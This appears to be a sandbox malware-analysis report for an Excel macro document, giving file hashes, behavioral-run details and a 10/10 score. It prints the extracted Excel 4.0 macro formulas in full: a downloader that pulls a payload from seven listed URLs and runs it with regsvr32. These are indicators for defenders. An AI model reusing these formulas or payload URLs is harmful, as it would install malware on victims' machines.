General
-
Target
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83
-
Size
35KB
-
Sample
241111-w2n4easmcs
-
MD5
0448ebf1de6cdec0cdeea4eed59421ce
-
SHA1
b56a90acc8d969644a4b866d7a8a336007b0ba84
-
SHA256
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83
-
SHA512
3be255ca5971df759b9a897b04b8829834bef648c5eea86ac34a81c05effd35ac8a09d523e88f5e1b8779d4c4e13eac3e4e9fbb5d8cdc835da6fbf39a4900072
-
SSDEEP
768:ghtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:ghtqigGUOZZ1ZYpoQ/pMA8i
Behavioral task
behavioral1
Sample
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83.xlsm
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
https://bb2play.com/wzzx/9tamtuJMSndL/
https://romusreselling.xyz/wordpress/bSX/
https://localart.net/wp-content/uploads/I4c5SsknUlq/
https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/
https://grchen.top/wordpress/bIGq8phSAMn/
https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/
https://sarc.in/wp-admin/9IDe7r7/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bb2play.com/wzzx/9tamtuJMSndL/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://romusreselling.xyz/wordpress/bSX/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://localart.net/wp-content/uploads/I4c5SsknUlq/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://grchen.top/wordpress/bIGq8phSAMn/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sarc.in/wp-admin/9IDe7r7/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()
Extracted
https://bb2play.com/wzzx/9tamtuJMSndL/
https://romusreselling.xyz/wordpress/bSX/
https://localart.net/wp-content/uploads/I4c5SsknUlq/
https://www.crazy97.com/wp-includes/XbbGnN3Xabn7Z/
https://grchen.top/wordpress/bIGq8phSAMn/
https://onceintheflow.com/wp-includes/SimplePie/6XVotHuU/
https://sarc.in/wp-admin/9IDe7r7/
Extracted
https://bb2play.com/wzzx/9tamtuJMSndL/
https://romusreselling.xyz/wordpress/bSX/
https://localart.net/wp-content/uploads/I4c5SsknUlq/
Targets
-
-
Target
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83
-
Size
35KB
-
MD5
0448ebf1de6cdec0cdeea4eed59421ce
-
SHA1
b56a90acc8d969644a4b866d7a8a336007b0ba84
-
SHA256
ec2b508004ebd386e134fca69c00c1cbaed37a83e6fd13e74292f42acad1ef83
-
SHA512
3be255ca5971df759b9a897b04b8829834bef648c5eea86ac34a81c05effd35ac8a09d523e88f5e1b8779d4c4e13eac3e4e9fbb5d8cdc835da6fbf39a4900072
-
SSDEEP
768:ghtqi5eiNlAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooood7O:ghtqigGUOZZ1ZYpoQ/pMA8i
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-